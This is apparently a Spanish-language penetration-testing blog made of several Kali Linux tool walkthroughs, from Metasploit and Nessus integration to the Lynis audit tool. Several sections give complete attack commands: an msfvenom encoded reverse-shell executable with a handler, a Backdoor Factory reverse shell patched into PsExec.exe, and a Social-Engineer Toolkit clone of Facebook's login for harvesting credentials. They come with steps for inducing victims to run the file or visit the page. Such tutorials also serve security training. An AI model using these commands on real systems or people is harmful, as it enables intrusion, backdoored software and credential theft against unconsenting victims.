blog

Metasploit Framework está lleno de interesantes y útiles características. Uno de estas es la habilidad para generar un ejecutable desde un Payload de Metasploit. Esto puede ser muy útil en situaciones tales como Ingeniería Social, si se puede inducir al usuario a ejecutar el Payload en su sistema, no hay razón para ir a través de la problemática explotación de cualquier software.

La siguiente demostración genera un payload para desplegar una shell de manera inversa sobre un sistema remoto. Para hacer esto se utiliza la herramienta en línea de comando “msfvenom”. Este comando puede ser utilizado para generar payloads a ser utilizados en varios ubicaciones y ofrece una variedad de opciones de salida, desde perl a C, hasta en “bruto”. Nuestro interés es generar una salida ejecutable, lo cual se define con la opción “-f exe”.

Se ejecuta la herramienta msfvenom. La opción “--payload-options” muestra las opciones del payload, y la opción “-p” define el payload a utilizar.

# msfvenom --payload-options -p windows/shell/reverse_tcp

Se definen las opciones pertinentes para generar un archivo binario ejecutable para un sistema Windows con arquitectura x86. En este escenario la dirección IP corresponde a Kali Linux.

# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168. 0.X LPORT=1234 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/first.exe
# file /tmp/first.exe

En Metasploit Framework se utiliza el módulo “exploit/multi/handler”, al cual se le indica el Payload esperado a configurar, el cual debe tener los mismos ajustes del ejecutable generado utilizando la herramienta msfvenom.

# msfconsole
> use exploit/multi/handler
> set payload windows/shell/reverse_tcp
> set LHOST 192.168. 0.X
> set LPORT 1234
> show options
> run

Teniendo todo configurado, y estando en ejecución el manejador. Se debe inducir la ejecución del archivo binario ejecutable en el sistema de la victima.

Desplegada una shell en línea de comandos Windows, ya se tiene la capacidad de realizar diversas acciones de post-explotación.

Fuentes:

https://www.offensive-security.com/metasploit-unleashed/binary-payloads/

Nessus es un escaner de vulnerabilidades muy conocido y popular, el cual es gratuito para uso personal. También existe una rama de Nessus 2 de nombre OpenVAS, el cual es publicado bajo Licencia GPL. Nessus puede realizar un gran número de verificaciones de vulnerabilidades a través de los denominados “plugins”, de esta manera se pueden identificar las vulnerabilidades más conocidas. Metasploit Framework acepta los archivos resultantes de los escaneos de vulnerabilidades realizados ya sea con Nessus u OpenVAS en el formato de archivo “NBE”.

Los resultados del escaneo de Nessus deben ser exportados en formato NBE, en la versión más reciente de Nessus al momento de realizar el presente escrito, este tiene la extensión “.nessus”.

Se ejecuta Metasploit Framework.

Se indica a Metasploit Framework mostrar los comandos disponibles para interactuar con la Base de datos backend. Luego se verifica el estado actual de la base de datos.

> help database

Se procede a importar los resultados obtenidos utilizando Nessus, indicando la ruta y el nombre del archivo.

> db_import /root/Metasploitable2BNS_ejzfpg.nessus

El comando “hosts” permite listar los hosts incluidos en el archivo conteniendo los resultados obtenidos utilizando Nessus.

> hosts

El comando “services” permite enumerar todos los servicios detectados en funcionamiento en el sistema escaneado. En nuestro escenario, dado el hecho de únicamente tener los resultados de un único host, no se especifica la dirección IP del host junto al comando “services”.

> services

El comando más importante hasta este punto es “vuln”, el cual listará todas las vulnerabilidades reportadas por Nessus y registradas en el archivo de resultados. Se utiliza la opción “-p” para definir el rango de puertos sobre los cuales se requiere conocer sus vulnerabilidades asociadas.

>vulns -p 1-65535

También se puede definir un único puerto sobre el cual se requiere consultar sus vulnerabilidades asociadas.

> vulns -p 8180

Identificada la vulnerabilidad a utilizar en Metasploit Framework, se procede a buscarla y obtener información sobre el módulo.

> info exploit/multi/http/tomcat_mgr_upload

El siguiente proceso es indicar la utilización de este módulo de explotación, definir y ajustar sus opciones. Luego ejecutarlo para realizar la explotación de la vulnerabilidad identificada.

Como se puede percibir, importar los resultados de un escaneo realizado con Nessus dentro de Metasploit Framework es una poderosa funcionalidad. Esto demuestra su versatilidad, y algunas de las posibilidades de integración con herramientas de terceros como Nessus.

Fuentes:

http://www.tenable.com/products/nessus-vulnerability-scanner
https://www.offensive-security.com/metasploit-unleashed/working-with-ne…

Uno de los aspectos más poderosos de Metasploit Framework es cuan fácil es hacer cambios y crear nuevas funcionalidades reutilizazndo código existente. Por ejemplo, como un simple código Fuzzer demuestra, se pueden hacer mínimas modificaciones a un módulo existente para crear un módulo Fuzzer. Estos cambios pasarán longitudes cada vez mayores al valor transportado del modo hacia el servicio 3Com TFTP para Windows, resultando en la acción de sobrescribir EIP.

El EIP (Extended Instruction Pointer) es el registro el cual apunta a la siguiente instrucción. Simplemente apunta hacia la dirección en la cual se ubica la instrucción. De tal manera si fuese factible sobrescribirla, se podría cambiar la dirección del flujo del programa, y ejecutar otras instrucciones. Es decir podemos tomar control del programa.

Se crea un archivo de nombre “3ComTFTPFuzzer.rb” en el directorio “/usr/share/metasploit-framework/modules/auxiliary/fuzzers/”.

Iniciar Metasploit Framework. Indicar la utilización del módulo, para luego solicitar su información.

> use auxiliary/fuzzers/3ComTFTPFuzzer
> info

Definir la dirección IP del objetivo a evaluar. Luego iniciar su ejecución.

> set RHOSTS 192.168 .0.X
> run

En el sistema Windows se ejecuta la herramienta Immunity Debugger, para enganchar el servicio 3Com TFTP.

El servicio atacado cae, pues mientras el módulo fuzzer en Metasploit Framework continúa su ejecución, llega un momento en el cual Inmunity Debugger hace una pausa en la ejecución del proceso, esto a razón de haberse sobrescrito el valor EIP con “41414141”.

En este escenario, si se le indica a Inmunity Debugger continuar la ejecución del programa enganchado, se presentará una ventana cuyo texto expone la imposibilidad de continuar debido al hecho de no ser factible leer la dirección de memoria 41414141. Se indica cambiar el EIP o pasar una excepción hacia el programa.

Si el proceso ha sido enganchado, debe ser desenganchado de Inmmunity Debugger, luego de lo cual el proceso terminará inadecuadamente. Con lo cual se cumple el objetivo de este módulo.

Fuentes:

https://www.offensive-security.com/metasploit-unleashed/simple-tftp-fuz…
http://www.immunityinc.com/products/debugger/
http://www.go4expert.com/articles/stack-overflow-eip-overwrite-basics-t…

El escribir un módulo escaner propio puede también ser extremadamente útil durante las auditorías de seguridad, permitiendo localizar cada instancia de una mala contraseña o para escanear servicios vulnerables los cuales necesiten ser parchados. Utilizando Metasploit Framework es factible almacenar también esta información en una base de datos.

Se utilizará un simple escaner TCP para conectarse hacia un host sobre el puerto por defecto 12345, el cual puede ser cambiado mediante las opciones del módulo escaner en tiempo de ejecución. Después de conectarse hacia servidor se enviará un texto “HOLA SERVIDOR”, y recibirá una respuesta la cual será impresa por pantalla conteniendo la dirección IP del host remoto.

El archivo de nombre “simple_tcp.rb” debe ser creado en el siguiente directorio “/usr/share/metasploit-framework/modules/auxiliary/scanner/”

# nano simple_tcp.rb

El símbolo "mayor que" debe ser cambiado por el símbolo "menor que" en la segunda línea.

Ejecutar Metasploit Framework.

Para probar el escaner, se configura a la herramienta netcat en modo atención sobre el puerto TCP 12345, y se enviará por una tubería el contenido desde un archivo de texto, el cual simulará ser la respuesta de un servidor.

# nc -n -v -l -p 12345 /tmp/respuesta.txt

Se indica a Metasploit Framework utiliza el escaner simple creado, para luego mostrar su información.

> use auxiliary/scanner/simple_tcp
> info

La única opción del módulo a definir será la dirección IP del host remoto. Para nuestro escenario será la misma dirección IP de Kali Linux. Luego se ejecuta el módulo.

> set RHOSTS 192.168 .0.X
> run

El resultado expuesto por este simple escaner es el texto “Hola Metasploit!” y la dirección IP del host remoto.

En el lado del host remoto, es decir los datos expuestos por la herramienta netcat, exponen una conexión establecida desde una dirección y un mensaje de texto enviado por el escaner utilizado en Metasploit Framework.

Como se puede percibir con este simple ejemplo, el nivel de versatilidad puede ser de gran ayuda cuando se necesita código personalizado en medio de una prueba de penetración. Se percibe así aún mas el poder de Metasploit Framework.

Los resultados obtenidos también puede ser reportados hacia la base de datos por defecto utilizado por Metasploit Framework, la cual es Postgresql.

Fuentes:

https://www.offensive-security.com/metasploit-unleashed/writing-scanner/

Social-Engineer Toolkit (SET) o por su traducción al español Conjunto de herramientas para el Ingeniero Social, es un framework open source de pruebas de penetración diseñado para realizar Ingeniería Social. SET tienen diversos vectores de ataque personalizados, los cuales permiten hacer un ataque creíble rápidamente.

En la siguiente demostración se utiliza SET para tratar de capturar las credenciales válidas de un usuario quien se conecta a una red social como facebook.

Ejecutar set.

# setoolkit

Seleccionar la opción 1, correspondiente a “Social-Engineering Attacks” o Ataques de Ingeniería Social.

Seleccionar la opción 2, correspondiente a “Website Attack Vector” o Vector de Ataque a Sitio Web.

El módulo de Ataque Web es la única manera de utilizar diversos ataques basados en web, para comprometer a la victima.

Entre los diversos métodos disponibles se selecciona la opción 3, “Credential Harvester Attack Method” o Método de ataque para Cosechar Credenciales. Este método se utiliza para clonar una sitio web, de tal manera se puedan capturar los campos del nombre de usuario y contraseña, además de toda la información enviada hacia el sitio web.

Seleccionar ahora la opción 2 “Site Cloner” o Clonador del Sitio. Este método clonará completamente un sitio web elegido, y permitirá utilizar los vectores de ataque dentro de la misma aplicación web completamente, la cual se intenta clonar.

El cosechador de credenciales permite utilizar la capacidades de clonación de SET para capturar credenciales o parámetros desde un sitio web, como también ponerlos dentro de un reporte. Esta opción es utilizada para la IP de servidor a donde se “Enviará”.

Ingresar la dirección IP para el retorno del POST en el cosechador/tabnabbing. Esta será la dirección IP de Kali Linux.

Ingresar la URL a clonar. En esta demostración será Facebook.

Finalizada la clonación del sitio. Se encontró Apache, y se indica todo será puesto en el directorio web raíz de Apache, y los archivos serán escritos hacia este directorio. Como Apache no está en funcionamiento, se consulta si SET debe iniciar el proceso. Se acepta esta acción.

Apache ha iniciado correctamente. Se menciona el directorio donde se ubicarán las capturas o cosecha de datos. También se indica la factibilidad de modificar el archivo “post.php”.

Se deben utilizar los diversos métodos o técnicas disponibles para forzar o inducir a la victima a visitar el sitio web clonado.

Al ingresar la victima hacia el sitio web clonado, su nombre de usuario y contraseña para autenticarse contra “Facebook”, serán capturadas por el atacante.

Luego la victima será redireccionada automáticamente hacia el sitio web original de Facebook.

Fuentes:

https://github.com/trustedsec/social-engineer-toolkit/
http://tools.kali.org/information-gathering/set

Linux Exploit Suggester se basa e el número de versión del sistema operativo. Este programa ejecutado sin argumentos ejecutará el comando “uname -r” para obtener el número de versión de los sistemas operativos Linux, y devolverá una lista sugerida de posibles exploits. Se debe considerar la instalación de un parche podría engañar a este script.

Adicionalmente es posible proporcionar la opción “-k” para ingresar manualmente el número de versión del Sistema Operativo o versión del Kernel.

Este script ha sido extremadamente útil en sitios y en exámenes. Ahora es Open Source bajo GPLv2.

Se ejecuta la herramienta sin parámetros.

# linux-exploit-suggester

Se obtiene la información de la versión del sistema operativo o versión del kernel desde el objetivo en evaluación.

$ uname -a

Se ejecuta la herramienta utilizando la opción “-k”, para buscar exploits para el kernel “3.8.0”.

# perl Linux_Exploit_Suggester.pl -k 3.8.0

Los resultados exponen todos los exploits encontrados, para este caso se ha encontrado sólo un exploit. Se detalla además información como su nombre, CVE, y la fuente desde donde es factible obtener el código.

Kali Linux incluye un repositorio local de “Exploit-DB”. Por lo tanto es factible buscar en esta base de datos local utilizando el comando “searchsploit”.

# searchsploit perf swevent

La búsqueda devuelve dos resultados. Se procede a visualizar el primer resultado.

# less /usr/share/exploitdb/platforms/linux/local/26131.c

Este exploit local debe ser copiado hacia el sistema objetivo, ya sea compilado previamente o para ser compilado localmente, y finalmente ser ejecutado.

Los resultados devueltos por Linux Exploit Suggester no son en todos los casos necesariamente correctos. Se sugiere siempre realizar una verificación y análisis manual.

Fuentes:

http://tools.kali.org/exploitation-tools/linux-exploit-suggester
https://penturalabs.wordpress.com/2013/08/26/linux-exploit-suggester/
http://penturalabs.github.io/Linux_Exploit_Suggester/
https://github.com/PenturaLabs/Linux_Exploit_Suggester
http://www.reydes.com/d/?q=Encontrar_Exploits_en_Kali_Linux_utilizando_…

El objetivo de Backdoor Factory (BDF) es parchar binarios ejecutables con el shellcode requerido por el usuario, para continuar con la ejecución normal del estado previo al parchado.

BDF soporta; Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
y Mach-O x86/x64, y estos formatos en archivos FAT. Archivos Empacados: PE UPX x86/x64 . Y Experimentalmente: OpenBSD x32.

Algunos ejecutables tiene incorporados protecciones, como tal podría no funcionar sobre todos los binarios. Se recomienda evaluar los binarios objetivos antes de desplegarlos en los clientes, o utilizarlos en ejercicios.

Para las siguientes demostraciones se utilizará la versión de The Backdoor Factory instalada por defecto en Kali Linux 2.0.

Al ejecutar The Backdoor Factory sin opciones, se obtiene su forma de uso y un listado de las opciones disponibles.

# backdoor-factory

La siguiente demostración implicará parchar un exe/dll utilizando una cueva de código existente. La opcion “-f” define el archivo en el cual se insertará la puerta trasera. La opción “-H” define la dirección IP para establecer la conexión inversa. La opción “-s” define el Payload o carga útil a utilizar.

# backdoor-factory -f /usr/share/windows-binaries/PSTools/PsExec.exe -H 192. 168.0.X -P 8000 -s reverse_shell_tcp_inline

La herramienta indica cuales cavas pueden ser utilizadas para inyectar código y posiblemente continuar su ejecución. Se selecciona la cava número 1.

El archivo binario parchado se ubica en el directorio de nombre “backdoored”.

Para gestionar la conexión entrante desde la victima; cuando se ejecute el archivo en su sistema; se debe utilizar un manejador en Metasploit Framework.

> use multi/handler
> set payload windows/shell_reverse_tcp
> set LHOST 192.168 .0.X
> set LPORT 8000

El binario parchado debe ser enviado hacia la victima utilizando cualquier método o técnica, para luego ser ejecutado. Si todo se ha realizado correctamente se obtiene una shell de comandos Windows sobre el sistema de la victima.

Aunque los tamaños se mantienen iguales tanto para el archivo binario ejecutable original, como para el archivo binario ejecutable parchado. Si se aplica una función hash SHA-1, los hashes resultantes serán diferentes.

The Backdoor Factory también permite parchar un exe/dll añadiendo una sección de código, parchar un directorio conteniendo archivos exe, o utilizar un shellcode proporcionado por el usuario.

BDF puede también firmar archivos PE en caso se tenga un certificado. Este utiliza osslsigncode.

The Backdoor Factory es únicamente para profesionales en seguridad e investigadores.

Fuentes:

http://tools.kali.org/exploitation-tools/backdoor-factory
https://github.com/secretsquirrel/the-backdoor-factory/
http://www.slideshare.net/midnite_runr/patching-windows-executables-wit…
https://sourceforge.net/projects/osslsigncode/

Armitage es una herramienta de colaboración de “Red Team” para Metasploit, el cual visualiza objetivos, recomienda exploits, y expone funcionalidades avanzadas de post-explotación en el framework.

A través de una instancia de Metasploit, el equipo puede; utilizar la misma sesión, compartir hosts, datos capturados, y descargar archivos, comunicarse a través de un registro compartidos de eventos, ejecutar bots para automatizar tareas de “red team”.

Armitage organiza las capacidades de Metasploit alrededor de un proceso de hacking. Estas son funcionalidades de descubrimiento, acceso, post-explotación y maniobras.

Se inicia el servicio postgresql, ante lo cual se presenta una ventana con los datos por defecto para realizar la conexión. Hacer clic en el botón “Connect”.

Al ejecutar Armitage, se presenta una ventana cuyo texto versa sobre la no funcionamiento del servidor RPC de Mestaploit, o tal vez este no está aceptando conexiones. Se consulta si Armitage debe intentar inicia el servidor RCP de Metasploit. Hacer clic en el botón “Yes”.

Armitage se ha iniciado satisfactoriamente.

El espacio de trabajo dinámico de Armitage permite definir y conmutar entre el criterio del objetivo rápidamente. Esto se utiliza para segmentar miles de hosts en conjuntos de objetivos. Armitage también lanza escaneos e importa datos desde los escaners de seguridad. Armitage visualiza los objetivos actuales de tal manera se conozcan los hosts sobre los cuales se está trabajando y donde se tienen las sesiones.

Armitage recomienda exploits y podría opcionalmente ejecutar verificaciones activas para enseñar cual exploit podría funcionar. Si estas opciones fallan, se utiliza el ataque “Hail Mary” o Ave María para liberar la explotación automática inteligente de Armitage contra los objetivos.

Una vez dentro, Armitage expone las herramientas de post-explotación autocontenidas dentro del agente Meterpreter. Con un clic de un menú se podría escalar privilegios, registrar las pulsaciones del teclado, volcar los hashes de las contraseñas, navegar el sistema de archivos, y utilizas una shell de comandos.

Armitage hace trivial ajustar y utilizar pivots. Se utilizarán los hosts comprometidos como un salto para atacatr objetivos de la red desde el interior. Armitage utiliza un modulo proxy SOCKS para permitir utilizar herramientas externas a través de los pivots. Esta funcionalidad permite maniobrar a través de la red.

Armitage es un multiplicador de fuerza para operaciones de “Red Team”.

Fuentes:

http://www.fastandeasyhacking.com/manual
http://tools.kali.org/exploitation-tools/armitage

Unix-privesc-check es un script el cual se ejecuta sobre sistemas Unix (evaluado sobre Solaris, HPUX 11, diversos Linux, FreeBSD 6.2). Intenta encontrar inadecuadas configuraciones las cuales podrían permitir a un usuario no privilegiado escalar privilegios hacia otros usuarios o acceder hacia aplicaciones locales; como por ejemplo bases de datos. Es un script para verificar sencillos vectores para es el escalamiento de privilegios en sistemas Unix.

Esta herramienta esta escrita como un simple script, de tal manera pueda ser fácilmente subido y ejecutado (opuesto a desempaquetar, compilar e instalar). Puede ejecutarse ya sea como usuario normal o como root (obviamente hace un mejor trabajo cuando se ejecuta como root, debido a la capacidad de leer más archivos).

Este proyecto contiene dos ramas. La rama “1_x” contiene un sencillo script de nombre “unix-privesc-check” el cual requiere ser subido y ejecutado en el sistema objetivo. Este script se ejecuta rápidamente. El código mientras es algo feo, es estable y maduro.

Al ejecutar la herramienta sin opciones se muestra su ayuda y modos de uso.

# ./unix-privesc-check

Se ejecuta la herramienta con la opción “standard”. El modo standard, realiza muchas verificaciones de ajustes de seguridad optimizada en velocidad.

# ./unix-privesc-check standard

Entre la información obtenida está la información general sobre el sistema. Como nombre del host, interfaces de red. Verificación si se permite una autenticación externa, archivos de configuración factibles de ser escritos,

Verificación de los hashes de las contraseñas, ajustes de las cuentas, directorios de librerías, configuración sudo, verificación de permisos en los archivos swap, programas a ejecutar desde el inittab, y una extensa cantidad de verificaciones y comprobaciones.

La versión 1.4 de la herramienta detiene sus verificaciones con un mensaje el cual versa sobre “un operador inesperado”.

Se procede a ejecutar la herramienta con el modo “detailed”. El cual es similar al modo “standard”, pero también verifica permisos de manejadores de archivos abiertos y llamadas a archivos (por ejemplo, interpretados desde scripts shells, archivos .so enlazados). Este modo es lento y propenso a falsos positivos, pero podría ayudar a encontrar fallas más sutiles en programas de terceros.

# ./unix-privesc-check detailed

En este modo también la herramienta se detiene con el mismo mensaje antes mencionado.

La rama “master”, contiene un script de nombre “upc.sh” y algunos subdirectorios los cuales necesitan ser subidos y ejecutados sobre el sistema objetivo. Este script generalmente es lento, pero más profundo en algunos aspectos. El código es mucho más bueno, aunque algo experimental.

Se ejecuta el script

# upc.sh

Los resultados de las verificaciones o pruebas realizadas son precedidas por una “I” o “W”. Se infiere de las palabras Informativo y Advertencia en idioma inglés. Además de un mensaje entre corchetes.

Se podría entonces filtrar los mensajes de advertencia, utilizando comandos Linux.

# grep ^W reporte.txt

unix-privesc-check está destinada a ser ejecutada por auditores de seguridad y profesionales en pruebas de penetración contra los sistemas evaluados, y también por administradores de sistemas quienes requieran verificar configuraciones inadecuadas obvias. Incluso puede ser ejecutado como un trabajo en cron de tal manera se escanee regularmente por inadecuadas configuraciones.

Fuentes:

http://pentestmonkey.net/tools/audit/unix-privesc-check
https://github.com/pentestmonkey/unix-privesc-check/tree/1_xhttps://git…

Lynis es una herramienta open source para auditoria de seguridad. Es utilizada por administradores de red, profesionales en seguridad y auditores, para evaluar las defensas de seguridad en sus sistemas basados en Linux o Unix. Lynis se ejecuta a si mismo sobre el host, de tal manera realiza un escaneo de seguridad más completo comparado a los escaners de vulnerabilidades.

Entre los sistemas soportados se enumeran la mayoría de sistemas basados en Unix, incluyendo AIX, FreeBSD, HP-UX, Linux, Mac OS, NetBSD, OpenBSD, Solaris, y otros. Incluso se ejecuta sobre sistemas como Raspberry Pi o dispositivos de almacenamiento QNAP.

Lynix es flexible y fácil de utilizar. Su instalación es opcional. Solo debe ser copiarlo hacia el sistema y ejecutarlo para iniciar un escaneo de seguridad. Esta escrito en shell script y liberado como software open source.

Lynx realiza cientos de pruebas individuales para determinar el escenario de seguridad de un sistema. El escaneo de seguridad por si mismo consiste en la realización de un conjunto de pasos desde la iniciación del programa, hasta mostrar el reporte.

Los pasos realizados son; Determinar el sistema operativo, buscar por herramientas y utilidades disponibles, verificar la actualización de Lynis, ejecutar pruebas desde los plugins habilitados, ejecutar pruebas de seguridad por categoría y reportar el estado del escaneo de seguridad.

Antes de la ejecución de Lynis, se ha copiado en el sistema objetivo, la versión más reciente de la herramienta al momento de publicar el presente escrito.

# ./lynis –check-all --quick

Información de Iniciación y servicios, además del Kernel.

Memoria y Procesos. Usuarios, Grupos y Autenticación

Shells. Sistema de Archivos

Almacenamiento, NFS, Nombre de Servicios.

Portados y Paquetes. Redes.

Software: correo electrónico y mensajería. Cortafuegos. Servidor Web.

Soporte SSH

Servicios LDAP. PHP. Soporte Squid

Servicios Inseguros. Baners e Identificación. Tareas programadas.

Fortalecimiento del Kernel.

Finalizada la ejecución de Lynis, se presentan los resultados obtenidos del escaneo de seguridad realizado, en la forma de un resumen de Advertencias y Sugerencias.

Adicionalmente se presenta información sobre el proceso realizado por Lynis, como los plugins habilitados. Módulos Lynis. El archivo “/var/log/lynis.log” contiene información de depuración sobre todas las pruebas realizadas.

Sugiero revisar la página del manual sobre Lynis, la cual contiene todas las opciones disponibles para utilizar la herramienta.

Fuentes:

https://cisofy.com/lynis/
http://tools.kali.org/vulnerability-analysis/lynis